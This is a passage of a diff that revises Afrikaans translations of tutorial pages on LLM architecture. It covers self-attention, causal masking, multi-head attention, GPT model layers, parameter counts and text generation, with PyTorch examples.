 >
 > Boonop, **softmax** funksie word gebruik omdat dit verskille beklemtoon weens die eksponensiële deel, wat dit makliker maak om nuttige waardes te identifiseer.

@ -62,9 +62,11 @@ Vir elke woord in die sin, bereken die **aandag punt** ten opsigte van "shiny" d
 #### Stap 2: Normaliseer Aandag Punte om Aandag Gewigte te Verkry

 > [!TIP]
-> Pas die **softmax funksie** toe op die aandag punte om hulle in aandag gewigte te omskep wat tot 1 optel.
+> Moet nie verlore gaan in die wiskundige terme nie, die doel van hierdie funksie is eenvoudig, normaliseer al die gewigte sodat **hulle in totaal 1 optel**.
+>
+> Boonop, **softmax** funksie word gebruik omdat dit verskille beklemtoon weens die eksponensiële deel, wat dit makliker maak om nuttige waardes te identifiseer.

-Pas die **softmax funksie** toe op die aandag punte om hulle in aandag gewigte om te skakel wat tot 1 optel.
+Pas die **softmax funksie** toe op die aandag punte om hulle in aandag gewigte te omskep wat tot 1 optel.

 <figure><img src="../../images/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>

@ -83,7 +85,7 @@ Berekening van aandag gewigte:
 #### Stap 3: Bereken die Konteksvektor

 > [!TIP]
-> Kry net elke aandag gewig en vermenigvuldig dit met die verwante token dimensies en som dan al die dimensies om net 1 vektor (die konteksvektor) te kry.
+> Kry net elke aandag gewig en vermenigvuldig dit met die verwante token dimensies en som dan al die dimensies op om net 1 vektor (die konteksvektor) te kry.

 Die **konteksvektor** word bereken as die gewogen som van die embeddings van al die woorde, met behulp van die aandag gewigte.

@ -103,7 +105,7 @@ Berekening van elke komponent:

 <figure><img src="../../images/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Som die gewogen embeddings:
+Som die gewogen embeddings op:

 `konteksvektor=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`

@ -113,7 +115,7 @@ Som die gewogen embeddings:

 1. **Bereken Aandag Punte**: Gebruik die dot produk tussen die embedding van die teikenwoord en die embeddings van al die woorde in die volgorde.
 2. **Normaliseer Punte om Aandag Gewigte te Verkry**: Pas die softmax funksie toe op die aandag punte om gewigte te verkry wat tot 1 optel.
-3. **Bereken Konteksvektor**: Vermenigvuldig elke woord se embedding met sy aandag gewig en som die resultate.
+3. **Bereken Konteksvektor**: Vermenigvuldig elke woord se embedding met sy aandag gewig en som die resultate op.

 ## Self-Aandag met Leerbare Gewigte

@ -159,7 +161,7 @@ values = torch.matmul(inputs, W_value)

 **Bereken Aandag Punte**

-Soos in die vorige voorbeeld, maar hierdie keer, in plaas daarvan om die waardes van die dimensies van die tokens te gebruik, gebruik ons die sleutel matriks van die token (wat reeds bereken is met behulp van die dimensies):. So, vir elke navraag `qi` en sleutel `kj`:
+Soos in die voorbeeld van tevore, maar hierdie keer, in plaas daarvan om die waardes van die dimensies van die tokens te gebruik, gebruik ons die sleutel matriks van die token (wat reeds bereken is met behulp van die dimensies):. So, vir elke navraag `qi` en sleutel `kj`:

 <figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>

@ -184,7 +186,7 @@ Soos in die aanvanklike voorbeeld, som net al die waardes matriks op deur elkeen

 ### Kode Voorbeeld

-Gryp 'n voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) jy kan hierdie klas kyk wat die self-aandag funksionaliteit implementeer waaroor ons gepraat het:
+Grijp 'n voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) jy kan hierdie klas kyk wat die self-aandag funksionaliteit implementeer waaroor ons gepraat het:
 ```python
 import torch

@ -228,15 +230,15 @@ print(sa_v2(inputs))

 ## Oorsaaklike Aandag: Toekomstige Woorde Versteek

-Vir LLMs wil ons hê dat die model slegs die tokens wat voor die huidige posisie verskyn, moet oorweeg om die **volgende token** te voorspel. **Oorsaaklike aandag**, ook bekend as **gemaskerde aandag**, bereik dit deur die aandagmeganisme te wysig om toegang tot toekomstige tokens te verhoed.
+Vir LLM's wil ons hê dat die model slegs die tokens wat voor die huidige posisie verskyn, moet oorweeg om die **volgende token** te voorspel. **Oorsaaklike aandag**, ook bekend as **gemaskerde aandag**, bereik dit deur die aandagmeganisme te wysig om toegang tot toekomstige tokens te verhoed.

 ### Toepassing van 'n Oorsaaklike Aandagmasker

-Om oorsaaklike aandag te implementeer, pas ons 'n masker toe op die aandag punte **voor die softmax-operasie** sodat die oorblywende eenhede steeds 1 sal optel. Hierdie masker stel die aandag punte van toekomstige tokens op negatiewe oneindigheid, wat verseker dat na die softmax, hul aandag gewigte nul is.
+Om oorsaaklike aandag te implementeer, pas ons 'n masker toe op die aandagspunte **voor die softmax-operasie** sodat die oorblywende eenhede steeds 1 sal optel. Hierdie masker stel die aandagspunte van toekomstige tokens op negatiewe oneindigheid, wat verseker dat na die softmax, hul aandaggewigte nul is.

 **Stappe**

-1. **Bereken Aandag Punten**: Dieselfde as voorheen.
+1. **Bereken Aandagspunte**: Dieselfde as voorheen.
 2. **Pas Masker Toe**: Gebruik 'n boonste driehoekige matriks wat met negatiewe oneindigheid bo die diagonaal gevul is.

 ```python
@ -244,15 +246,15 @@ mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
 masked_scores = attention_scores + mask
 ```

-3. **Pas Softmax Toe**: Bereken aandag gewigte met behulp van die gemaskerde punte.
+3. **Pas Softmax Toe**: Bereken aandaggewigte met behulp van die gemaskerde punte.

 ```python
 attention_weights = torch.softmax(masked_scores, dim=-1)
 ```

-### Maskering van Addisionele Aandag Gewigte met Dropout
+### Maskering van Addisionele Aandaggewigte met Dropout

-Om **oorpassing** te voorkom, kan ons **dropout** toepas op die aandag gewigte na die softmax-operasie. Dropout **maak sommige van die aandag gewigte ewekansig nul** tydens opleiding.
+Om **oorpassing te voorkom**, kan ons **dropout** toepas op die aandaggewigte na die softmax-operasie. Dropout **maak sommige van die aandaggewigte ewekansig nul** tydens opleiding.
 ```python
 dropout = nn.Dropout(p=0.5)
 attention_weights = dropout(attention_weights)
@ -329,7 +331,7 @@ print("context_vecs.shape:", context_vecs.shape)

 ### Kode Voorbeeld

-Dit kan moontlik wees om die vorige kode te hergebruik en net 'n omhulsel toe te voeg wat dit verskeie kere lanseer, maar dit is 'n meer geoptimaliseerde weergawe van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) wat al die koppe terselfdertyd verwerk (wat die aantal duur vir-lusse verminder). Soos jy in die kode kan sien, word die dimensies van elke token in verskillende dimensies verdeel volgens die aantal koppe. Op hierdie manier, as 'n token 8 dimensies het en ons 3 koppe wil gebruik, sal die dimensies in 2 arrays van 4 dimensies verdeel word en elke kop sal een daarvan gebruik:
+Dit kan moontlik wees om die vorige kode te hergebruik en net 'n omhulsel toe te voeg wat dit verskeie kere ontplooi, maar dit is 'n meer geoptimaliseerde weergawe van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) wat al die koppe terselfdertyd verwerk (wat die aantal duur vir-lusse verminder). Soos jy in die kode kan sien, word die dimensies van elke token in verskillende dimensies verdeel volgens die aantal koppe. Op hierdie manier, as 'n token 8 dimensies het en ons 3 koppe wil gebruik, sal die dimensies in 2 arrays van 4 dimensies verdeel word en elke kop sal een daarvan gebruik:
 ```python
 class MultiHeadAttention(nn.Module):
 def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
@ -411,11 +413,11 @@ Vir 'n ander kompakte en doeltreffende implementering kan jy die [`torch.nn.Mult
 > [!TIP]
 > Kort antwoord van ChatGPT oor hoekom dit beter is om dimensies van tokens onder die koppe te verdeel in plaas daarvan om elke kop al die dimensies van al die tokens te laat nagaan:
 >
-> Terwyl dit mag lyk asof dit voordelig is om elke kop al die inbedingsdimensies te laat verwerk omdat elke kop toegang tot die volle inligting sou hê, is die standaardpraktyk om die **inbedingsdimensies onder die koppe te verdeel**. Hierdie benadering balanseer rekenaardoeltreffendheid met modelprestasie en moedig elke kop aan om diverse voorstellings te leer. Daarom is dit oor die algemeen verkieslik om die inbedingsdimensies te verdeel eerder as om elke kop al die dimensies te laat nagaan.
+> Terwyl dit mag lyk asof dit voordelig is om elke kop al die inbedingsdimensies te laat verwerk omdat elke kop toegang tot die volle inligting sou hê, is die standaard praktyk om die **inbedingsdimensies onder die koppe te verdeel**. Hierdie benadering balanseer rekenkundige doeltreffendheid met modelprestasie en moedig elke kop aan om diverse voorstellings te leer. Daarom is dit oor die algemeen verkieslik om die inbedingsdimensies te verdeel eerder as om elke kop al die dimensies te laat nagaan.

 ## References

 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)


-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/AI/AI-llm-architecture/5.-llm-architecture.md
+++ b/src/AI/AI-llm-architecture/5.-llm-architecture.md
@ -1,6 +1,6 @@
 # 5. LLM Argitektuur

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## LLM Argitektuur

@ -18,7 +18,7 @@ LLM argitektuur voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/m
 1. **Invoer (Getokeniseerde Teks)**: Die proses begin met getokeniseerde teks, wat in numeriese voorstellings omgeskakel word.
 2. **Token Inbed en Posisionele Inbed Laag**: Die getokeniseerde teks word deur 'n **token inbed** laag en 'n **posisionele inbed laag** gestuur, wat die posisie van tokens in 'n volgorde vasvang, krities vir die begrip van woordorde.
 3. **Transformer Blokke**: Die model bevat **12 transformer blokke**, elk met verskeie lae. Hierdie blokke herhaal die volgende volgorde:
- **Gemaskerde Multi-Kop Aandag**: Laat die model toe om op verskillende dele van die invoerteks gelyktydig te fokus.
+- **Gemaskerde Multi-Kop Aandag**: Laat die model toe om op verskillende dele van die invoer teks gelyktydig te fokus.
 - **Laag Normalisering**: 'n Normalisering stap om opleiding te stabiliseer en te verbeter.
 - **Voed Voor Laag**: Verantwoordelik vir die verwerking van die inligting van die aandag laag en om voorspellings oor die volgende token te maak.
 - **Dropout Lae**: Hierdie lae voorkom oorpassing deur eenhede tydens opleiding lukraak te laat val.
@ -213,13 +213,13 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
 #### **Doel en Funksionaliteit**

 - **GELU (Gaussian Error Linear Unit):** 'n Aktiveringsfunksie wat nie-lineariteit in die model inbring.
- **Glad Aktivering:** Anders as ReLU, wat negatiewe insette op nul stel, kaart GELU insette glad aan uitsette, wat klein, nie-nul waardes vir negatiewe insette toelaat.
+- **Glad Aktivering:** Anders as ReLU, wat negatiewe insette op nul stel, kaart GELU insette glad na uitsette, wat vir klein, nie-nul waardes vir negatiewe insette toelaat.
 - **Wiskundige Definisie:**

 <figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

 > [!TIP]
-> Die doel van die gebruik van hierdie funksie na lineêre lae binne die FeedForward-lae is om die lineêre data te verander na nie-lineêr om die model in staat te stel om komplekse, nie-lineêre verhoudings te leer.
+> Die doel van die gebruik van hierdie funksie na lineêre lae binne die FeedForward-laag is om die lineêre data te verander na nie-lineêr om die model in staat te stel om komplekse, nie-lineêre verhoudings te leer.

 ### **FeedForward Neurale Netwerk**

@ -252,7 +252,7 @@ return x  # Output shape: (batch_size, seq_len, emb_dim)
 - **Tweede Lineêre Laag:** Verminder die dimensie terug na `emb_dim`.

 > [!TIP]
-> Soos jy kan sien, gebruik die Feed Forward netwerk 3 lae. Die eerste een is 'n lineêre laag wat die dimensies met 4 sal vermenigvuldig met behulp van lineêre gewigte (parameters om binne die model te train). Dan word die GELU-funksie in al daardie dimensies gebruik om nie-lineêre variasies toe te pas om ryker verteenwoordigings te vang, en uiteindelik word 'n ander lineêre laag gebruik om terug te keer na die oorspronklike grootte van dimensies.
+> Soos jy kan sien, gebruik die Feed Forward netwerk 3 lae. Die eerste een is 'n lineêre laag wat die dimensies met 4 sal vermenigvuldig deur lineêre gewigte (parameters om binne die model te train). Dan word die GELU-funksie in al daardie dimensies gebruik om nie-lineêre variasies toe te pas om ryker verteenwoordigings te vang en uiteindelik word 'n ander lineêre laag gebruik om terug te keer na die oorspronklike grootte van dimensies.

 ### **Multi-Head Aandag Meganisme**

@ -260,7 +260,7 @@ Dit is reeds in 'n vroeëre afdeling verduidelik.

 #### **Doel en Funksionaliteit**

- **Multi-Head Self-Attention:** Laat die model toe om op verskillende posisies binne die invoer volgorde te fokus wanneer 'n token gekodeer word.
+- **Multi-Head Self-Attention:** Laat die model toe om op verskillende posisies binne die invoerreeks te fokus wanneer 'n token gekodeer word.
 - **Sleutel Komponente:**
 - **Vrae, Sleutels, Waardes:** Lineêre projeksies van die invoer, gebruik om aandag punte te bereken.
 - **Koppe:** Meervoudige aandag meganismes wat parallel loop (`num_heads`), elk met 'n verminderde dimensie (`head_dim`).
@ -273,7 +273,7 @@ Dit is reeds in 'n vroeëre afdeling verduidelik.
 > [!TIP]
 > Die doel van hierdie netwerk is om die verhoudings tussen tokens in dieselfde konteks te vind. Boonop word die tokens in verskillende koppe verdeel om oorfitting te voorkom, alhoewel die finale verhoudings wat per kop gevind word aan die einde van hierdie netwerk gekombineer word.
 >
-> Boonop, tydens opleiding, word 'n **oorsaaklike masker** toegepas sodat latere tokens nie in ag geneem word wanneer die spesifieke verhoudings met 'n token gekyk word nie, en 'n **dropout** word ook toegepas om **oorfitting te voorkom**.
+> Boonop, tydens opleiding, word 'n **oorsaaklike masker** toegepas sodat latere tokens nie in ag geneem word wanneer die spesifieke verhoudings met 'n token gekyk word nie en 'n **dropout** word ook toegepas om **oorfitting te voorkom**.

 ### **Laag** Normalisering
 ```python
@ -300,7 +300,7 @@ return self.scale * norm_x + self.shift
 - **Normalisering Proses:**
 - **Bereken Gemiddelde (`mean`):** Bereken die gemiddelde van die inset `x` oor die embedding dimensie (`dim=-1`), terwyl die dimensie vir uitsending behou word (`keepdim=True`).
 - **Bereken Variansie (`var`):** Bereken die variansie van `x` oor die embedding dimensie, terwyl die dimensie ook behou word. Die `unbiased=False` parameter verseker dat die variansie bereken word met die bevooroordeelde skatter (deling deur `N` in plaas van `N-1`), wat toepaslik is wanneer daar oor kenmerke eerder as monsters genormaliseer word.
- **Normaliseer (`norm_x`):** Trek die gemiddelde van `x` af en deel deur die vierkantswortel van die variansie plus `eps`.
+- **Normaliseer (`norm_x`):** Trek die gemiddelde van `x` af en deel deur die vierkantwortel van die variansie plus `eps`.
 - **Skaal en Verskuif:** Pas die leerbare `scale` en `shift` parameters toe op die genormaliseerde uitset.

 > [!TIP]
@ -352,30 +352,30 @@ return x  # Output shape: (batch_size, seq_len, emb_dim)

 - **Samestelling van Lae:** Kombineer multi-head aandag, feedforward netwerk, laanormalisering, en residuele verbindings.
 - **Laanormalisering:** Toegepas voor die aandag en feedforward lae vir stabiele opleiding.
- **Residuele Verbindings (Kortpaaie):** Voeg die inset van 'n laag by sy uitvoer om die gradiëntvloei te verbeter en die opleiding van diep netwerke moontlik te maak.
+- **Residuele Verbindings (Kortpaaie):** Voeg die invoer van 'n laag by sy uitvoer om die gradiëntvloei te verbeter en die opleiding van diep netwerke moontlik te maak.
 - **Dropout:** Toegepas na aandag en feedforward lae vir regulering.

 #### **Stap-vir-Stap Funksionaliteit**

 1. **Eerste Residuele Pad (Self-Aandag):**
- **Inset (`shortcut`):** Stoor die oorspronklike inset vir die residuele verbinding.
- **Laag Norm (`norm1`):** Normaliseer die inset.
+- **Invoer (`shortcut`):** Stoor die oorspronklike invoer vir die residuele verbinding.
+- **Laag Norm (`norm1`):** Normaliseer die invoer.
 - **Multi-Head Aandag (`att`):** Pas self-aandag toe.
 - **Dropout (`drop_shortcut`):** Pas dropout toe vir regulering.
- **Voeg Residueel By (`x + shortcut`):** Kombineer met die oorspronklike inset.
+- **Voeg Residueel By (`x + shortcut`):** Kombineer met die oorspronklike invoer.
 2. **Tweedee Residuele Pad (FeedForward):**
- **Inset (`shortcut`):** Stoor die opgedateerde inset vir die volgende residuele verbinding.
- **Laag Norm (`norm2`):** Normaliseer die inset.
+- **Invoer (`shortcut`):** Stoor die opgedateerde invoer vir die volgende residuele verbinding.
+- **Laag Norm (`norm2`):** Normaliseer die invoer.
 - **FeedForward Netwerk (`ff`):** Pas die feedforward transformasie toe.
 - **Dropout (`drop_shortcut`):** Pas dropout toe.
- **Voeg Residueel By (`x + shortcut`):** Kombineer met die inset van die eerste residuele pad.
+- **Voeg Residueel By (`x + shortcut`):** Kombineer met die invoer van die eerste residuele pad.

 > [!TIP]
 > Die transformer blok groepeer al die netwerke saam en pas 'n paar **normalisering** en **dropouts** toe om die opleidingsstabiliteit en resultate te verbeter.\
 > Let op hoe dropouts gedoen word na die gebruik van elke netwerk terwyl normalisering voor toegepas word.
 >
-> Boonop gebruik dit ook kortpaaie wat bestaan uit **die uitvoer van 'n netwerk by sy inset te voeg**. Dit help om die verdwynende gradiënt probleem te voorkom deur te verseker dat aanvanklike lae "net soveel" bydra as die laaste.
-  
+> Boonop gebruik dit ook kortpaaie wat bestaan uit **die uitvoer van 'n netwerk by sy invoer te voeg**. Dit help om die verdwynende gradiëntprobleem te voorkom deur te verseker dat aanvanklike lae "net soveel" bydra as die laaste.
+
 ### **GPTModel**

 _Vorms is as kommentaar bygevoeg om die vorms van matrikse beter te verstaan:_
@ -436,12 +436,12 @@ return logits  # Output shape: (batch_size, seq_len, vocab_size)
 #### **Doel en Funksionaliteit**

 - **Inbedingslae:**
- **Token Inbedings (`tok_emb`):** Converteer token-indekse na inbedings. Ter herinnering, dit is die gewigte wat aan elke dimensie van elke token in die woordeskat gegee word.
+- **Token Inbedings (`tok_emb`):** Converteer token-indekse in inbedings. Ter herinnering, dit is die gewigte wat aan elke dimensie van elke token in die woordeskat gegee word.
 - **Posisionele Inbedings (`pos_emb`):** Voeg posisionele inligting by die inbedings om die volgorde van tokens vas te vang. Ter herinnering, dit is die gewigte wat aan tokens gegee word volgens hul posisie in die teks.
 - **Dropout (`drop_emb`):** Toegepas op inbedings vir regularisering.
 - **Transformer Blokke (`trf_blocks`):** Stapel van `n_layers` transformer blokke om inbedings te verwerk.
 - **Finale Normalisering (`final_norm`):** Laag normalisering voor die uitvoerlaag.
- **Uitvoer Laag (`out_head`):** Projek die finale verborge toestande na die woordeskatgrootte om logits vir voorspelling te produseer.
+- **Uitvoerlaag (`out_head`):** Projek die finale verborge toestande na die woordeskatgrootte om logits vir voorspelling te produseer.

 > [!TIP]
 > Die doel van hierdie klas is om al die ander genoemde netwerke te gebruik om **die volgende token in 'n volgorde te voorspel**, wat fundamenteel is vir take soos teksgenerasie.
@ -503,7 +503,7 @@ Daar is 12 transformer blokke, so ons sal die parameters vir een blok bereken en
 - **Uitset Projektering (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
 - **Berekeninge:**

- **Elk van `W_query`, `W_key`, `W_value`:**
+- **Elkeen van `W_query`, `W_key`, `W_value`:**

 ```python
 qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
@ -564,7 +564,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432
 - **Berekeninge:**

 ```python
-pythonCopy codelayer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
+layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
 ```

 **d. Totale Parameters per Transformer Blok**
@ -612,7 +612,7 @@ total_params = 163,009,536

 Om 'n model te hê wat die volgende token voorspel soos die vorige, is dit net nodig om die laaste tokenwaardes van die uitvoer te neem (aangesien dit die waardes van die voorspelde token sal wees), wat 'n **waarde per inskrywing in die woordeskat** sal wees en dan die `softmax` funksie te gebruik om die dimensies in waarskynlikhede te normaliseer wat 1 optel en dan die indeks van die grootste inskrywing te kry, wat die indeks van die woord binne die woordeskat sal wees.

-Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
+Code van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
 ```python
 def generate_text_simple(model, idx, max_new_tokens, context_size):
 # idx is (batch, n_tokens) array of indices in the current context
@ -668,4 +668,4 @@ print("Output length:", len(out[0]))
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)


-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md
+++ b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md
@ -1,10 +1,10 @@
 # 6. Vooropleiding & Laai modelle

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## Teksgenerasie

-Om 'n model op te lei, moet ons hê dat daardie model nuwe tokens kan genereer. Dan sal ons die gegenereerde tokens vergelyk met die verwagte om die model te leer om **die tokens wat dit moet genereer** te leer.
+Om 'n model op te lei, moet ons hê dat daardie model in staat is om nuwe tokens te genereer. Dan sal ons die gegenereerde tokens vergelyk met die verwagte om die model te leer om **die tokens wat dit moet genereer** te leer.

 Soos in die vorige voorbeelde het ons reeds 'n paar tokens voorspel, dit is moontlik om daardie funksie vir hierdie doel te hergebruik.

@ -18,9 +18,9 @@ Om 'n korrekte opleiding uit te voer, is dit nodig om die voorspellings wat vir
 Om die waarskynlikheid van die korrekte token te maksimeer, moet die gewigte van die model aangepas word sodat daardie waarskynlikheid gemaksimeer word. Die opdaterings van die gewigte word gedoen deur middel van **terugpropagasie**. Dit vereis 'n **verliesfunksie om te maksimeer**. In hierdie geval sal die funksie die **verskil tussen die uitgevoerde voorspelling en die gewenste een** wees.

 Echter, in plaas daarvan om met die rou voorspellings te werk, sal dit met 'n logaritme met basis n werk. So as die huidige voorspelling van die verwagte token 7.4541e-05 was, is die natuurlike logaritme (basis *e*) van **7.4541e-05** ongeveer **-9.5042**.\
-Dan, vir elke invoer met 'n kontekslengte van 5 tokens, sal die model 5 tokens moet voorspel, met die eerste 4 tokens die laaste een van die invoer en die vyfde die voorspelde een. Daarom sal ons vir elke invoer 5 voorspellings hê in daardie geval (selfs al was die eerste 4 in die invoer, weet die model nie hiervan nie) met 5 verwagte tokens en dus 5 waarskynlikhede om te maksimeer.
+Dan, vir elke invoer met 'n kontekslengte van 5 tokens, sal die model 5 tokens moet voorspel, met die eerste 4 tokens die laaste een van die invoer en die vyfde die voorspelde een. Daarom sal ons vir elke invoer 5 voorspellings in daardie geval hê (selfs al was die eerste 4 in die invoer, weet die model nie hiervan nie) met 5 verwagte tokens en dus 5 waarskynlikhede om te maksimeer.

-Daarom, nadat die natuurlike logaritme op elke voorspelling uitgevoer is, word die **gemiddelde** bereken, die **minus simbool verwyder** (dit word _kruisentropieverlies_ genoem) en dit is die **nommer om so naby aan 0 as moontlik te verminder** omdat die natuurlike logaritme van 1 0 is:
+Daarom, nadat die natuurlike logaritme op elke voorspelling uitgevoer is, word die **gemiddelde** bereken, die **minus simbool verwyder** (dit word _cross entropy loss_ genoem) en dit is die **nommer om so naby aan 0 as moontlik te verminder** omdat die natuurlike logaritme van 1 0 is:

 <figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>

@ -29,7 +29,7 @@ Byvoorbeeld, 'n perplexity waarde van 48725 beteken dat wanneer dit nodig is om

 ## Voorbeeld van Vooropleiding

-Dit is die aanvanklike kode wat voorgestel word in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) soms effens gewysig
+Dit is die aanvanklike kode wat voorgestel is in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) soms effens aangepas

 <details>

@ -529,7 +529,7 @@ torch.save({
 ```
 ### Funksies om teks <--> ids te transformeer

-Hierdie is 'n paar eenvoudige funksies wat gebruik kan word om van teks uit die woordeskat na ids en omgekeerd te transformeer. Dit is nodig aan die begin van die hantering van die teks en aan die einde van die voorspellings:
+Dit is 'n paar eenvoudige funksies wat gebruik kan word om van teks uit die woordeskat na ids en omgekeerd te transformeer. Dit is nodig aan die begin van die hantering van die teks en aan die einde van die voorspellings:
 ```python
 # Functions to transform from tokens to ids and from to ids to tokens
 def text_to_token_ids(text, tokenizer):
@ -543,13 +543,13 @@ return tokenizer.decode(flat.tolist())
 ```
 ### Genereer teks funksies

-In 'n vorige afdeling is 'n funksie wat net die **meest waarskynlike token** gekry het na die logits. Dit sal egter beteken dat vir elke invoer dieselfde uitvoer altyd gegenereer sal word, wat dit baie deterministies maak.
+In 'n vorige afdeling was daar 'n funksie wat net die **meest waarskynlike token** gekry het na die logits. Dit sal egter beteken dat vir elke invoer dieselfde uitvoer altyd gegenereer sal word, wat dit baie deterministies maak.

 Die volgende `generate_text` funksie sal die `top-k`, `temperature` en `multinomial` konsepte toepas.

- Die **`top-k`** beteken dat ons sal begin om alle waarskynlikhede van al die tokens na `-inf` te verminder, behalwe vir die top k tokens. So, as k=3, voordat 'n besluit geneem word, sal slegs die 3 meest waarskynlike tokens 'n waarskynlikheid hê wat verskil van `-inf`.
- Die **`temperature`** beteken dat elke waarskynlikheid deur die temperatuurwaarde gedeel sal word. 'n Waarde van `0.1` sal die hoogste waarskynlikheid verbeter in vergelyking met die laagste, terwyl 'n temperatuur van `5` byvoorbeeld dit meer plat sal maak. Dit help om die variasie in antwoorde te verbeter wat ons wil hê die LLM moet hê.
- Na die temperatuur toegepas is, word 'n **`softmax`** funksie weer toegepas om te maak dat al die oorblywende tokens 'n totale waarskynlikheid van 1 het.
+- Die **`top-k`** beteken dat ons sal begin om alle waarskynlikhede van al die tokens na `-inf` te verminder, behalwe vir die top k tokens. So, as k=3, sal slegs die 3 meest waarskynlike tokens 'n waarskynlikheid hê wat verskil van `-inf` voordat 'n besluit geneem word.
+- Die **`temperature`** beteken dat elke waarskynlikheid deur die temperatuurwaarde gedeel sal word. 'n Waarde van `0.1` sal die hoogste waarskynlikheid verbeter in vergelyking met die laagste een, terwyl 'n temperatuur van `5` byvoorbeeld dit meer plat sal maak. Dit help om die variasie in antwoorde wat ons wil hê die LLM moet hê, te verbeter.
+- Na die temperatuur toegepas is, word 'n **`softmax`** funksie weer toegepas om al die oorblywende tokens 'n totale waarskynlikheid van 1 te gee.
 - Laastens, in plaas daarvan om die token met die grootste waarskynlikheid te kies, word die funksie **`multinomial`** toegepas om **die volgende token te voorspel volgens die finale waarskynlikhede**. So as token 1 'n 70% waarskynlikheid gehad het, token 2 'n 20% en token 3 'n 10%, sal token 1 70% van die tyd gekies word, token 2 20% van die tyd en token 3 10% van die tyd.
 ```python
 # Generate text function
@ -592,7 +592,7 @@ idx = torch.cat((idx, idx_next), dim=1)  # (batch_size, num_tokens+1)
 return idx
 ```
 > [!TIP]
-> Daar is 'n algemene alternatief vir `top-k` genoem [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), ook bekend as nucleus sampling, wat in plaas daarvan om k monsters met die meeste waarskynlikheid te verkry, **organiseer** dit al die resulterende **vokabulaire** volgens waarskynlikhede en **som** dit op van die hoogste waarskynlikheid tot die laagste totdat 'n **drempel bereik word**.
+> Daar is 'n algemene alternatief vir `top-k` genoem [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), ook bekend as nucleus sampling, wat in plaas daarvan om k monsters met die meeste waarskynlikheid te verkry, **organiseer** dit al die resulterende **vokabulaire** volgens waarskynlikhede en **som** dit op van die hoogste waarskynlikheid na die laagste totdat 'n **drempel bereik word**.
 >
 > Dan sal **slegs daardie woorde** van die vokabulaire oorweeg word volgens hul relatiewe waarskynlikhede.
 >
@ -601,15 +601,15 @@ return idx
 > _Let daarop dat hierdie verbetering nie in die vorige kode ingesluit is nie._

 > [!TIP]
-> 'n Ander manier om die gegenereerde teks te verbeter, is deur **Beam search** te gebruik in plaas van die greedy search wat in hierdie voorbeeld gebruik word.\
